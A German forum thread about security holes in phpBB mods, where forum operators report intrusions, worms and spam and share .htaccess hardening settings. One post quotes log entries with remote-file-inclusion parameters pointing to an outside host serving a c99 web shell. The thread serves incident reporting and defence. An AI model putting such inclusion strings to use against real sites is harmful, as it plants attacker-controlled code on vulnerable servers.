phpBB-Module reißen Sicherheitslöcher auf

[Mayday21]

Ich weiß nicht, wo das besser untergebracht werden kann ...

Heise hat eine Mitteilung zu phpbb-Mods rausgebracht:
http://www.heise.de/newsticker/meldung/72626

[plACEbo]

Hi,

Das besagte Guestbook habe ich schon vor ein paar Wochen von meiner Page runtergenommen, da es auffällig wurde wegen eventueller Eindringversuche. Einige der von Cracker Tracker abgefangenen URLs sahen sehr seltsam aus. Ich trau dem AGB seit dem nicht mehr über den Weg. Die Entwicklung des MOD wurde meines Wissens vor Jahren schon aufgegeben. Hier und da eine kleine Anpassung ans phpBB, mehr nicht. Macht nen sehr unsauberen Eindruck.
Mit dem TopList MOD hab ich keine Erfahrung.
Ob es nun eine News auf Heise.de wert ist, na ja ich weiss nicht und diesmal nur wegen zweier "FrickelMODs" von denen sicherlich noch hunderte existieren.
Welcher MOD ist schon richtig richtig dicht. Das durch die Erweiterungen Sicherheitslöcher entstehen können sollte ohnehin jedem bewußt sein. Viele MODs sind nur auf Funktionalität programmiert. Aus ner Beta wird schnell die Final gemacht, sobald die gröbsten Bugs raus sind. Sicherheit ist dann eine Sache, die viel Zeit kosten würde ohne dem MOD weitere Funktionalität und Effektivität zu geben.

mfg

plACEbo

[Rainer4ever]

Ich kann jedem nur empfehlen diese Warnung unbedingt ernst zu nehmen.
Bei mir ist letzte Woche leider ein Wurm durch das Gästebuch in mein Forum gekommen.

War keine besonders angenehme Erfahrung...

Ich habe daraufhin ein Backup mit ausgebauten Gästebuch hochgeladen, die Passwörter geändert und all-inkl angeschrieben, ob sie die php Globals deaktivieren können.

Zu dem Wurm habe ich nur folgende Infos:
So sieht das Ding aus: http://www.traktorhof.com/1.jpg
Im Ctracker stand folgendes:

Code: Alles auswählen

path=http://www.bremsnes-kfum.org/c99txt?

Code: Alles auswählen

entry=http://www.bremsnes-kfum.org/c99txt?

Wenn man auf den Link klickt, meckert auch sofort das Virenprogramm und meldet einen BDS/PHP.Agent.A

Wenn man den Link nun folgt, erscheint ein php Quellcode...
Wenn dieser benötigt wird, werde ich diesen hier gerne noch posten.

Ich weis zwar nicht, in wie weit diese Infos schon bekannt sind, aber vielleicht interessiert es doch den ein oder anderen.

[DJBase]

Bei mir sind sie über das KnowledgeBase MOD eingedrungen (kb_constants.php) und haben nette Sachen hinterlassen.

[larsneo]

und all-inkl angeschrieben, ob sie die php Globals deaktivieren können.

via .htaccess

Code: Alles auswählen

# set register_globals=off
php_flag register_globals off

ebenfalls eine gute idee für einige chaos-mods:

Code: Alles auswählen

# set magic quotes settings on
php_flag magic_quotes_gpc on

[Rainer4ever]

und all-inkl angeschrieben, ob sie die php Globals deaktivieren können.

via .htaccess

Code: Alles auswählen

# set register_globals=off
php_flag register_globals off

ebenfalls eine gute idee für einige chaos-mods:

Code: Alles auswählen

# set magic quotes settings on
php_flag magic_quotes_gpc on

Vielen Dank

[dosensteck]

Bei mir sind sie über das KnowledgeBase MOD eingedrungen (kb_constants.php) und haben nette Sachen hinterlassen.

ja, bei mir auch. wurde massig spam versendet

http://tecchannel.de/sicherheit/aktuell/438202/

[IPB_Flüchtling]

@larsneo:

Vielen Dank für Deine .htaccess-Ergänzungen! Wieder etwas gelernt.

Habe es gerade mit dem CrackerTracker Sicherheitscheck ausprobiert: Seit ich Deine Erweiterung der .htaccess vorgenommen habe, gilt bei mir "PHP Globals deaktiviert SICHER"!

Gibt es für den PHP Safe Mode eigentlich auch so eine .htaccess-Einstellung, um ihn zu aktivieren?

Danke noch einmal!

LG, IPB_Flüchtling

[larsneo]

Gibt es für den PHP Safe Mode eigentlich auch so eine .htaccess-Einstellung, um ihn zu aktivieren?

nein - der safemode ist auch in bezug auf sicherheit eigentlich der falsche ansatzpunkt:

Safe Mode ist der Versuch, Sicherheitsprobleme bei gemeinsam genutzten Servern zu lösen. Bezogen auf die Systemarchitektur, ist es der falsche Ansatz, diese Probleme innerhalb der PHP Schicht lösen zu wollen.

[IPB_Flüchtling]

Danke Dir!

Zu

Code: Alles auswählen

# set register_globals=off 
php_flag register_globals off

habe ich auf der von Dir bekannt gegebenen Seite auch einen interessanten Artikel gefunden (leider nur in englischer Sprache):

http://de.php.net/manual/en/security.globals.php

LG, IPB_Flüchtling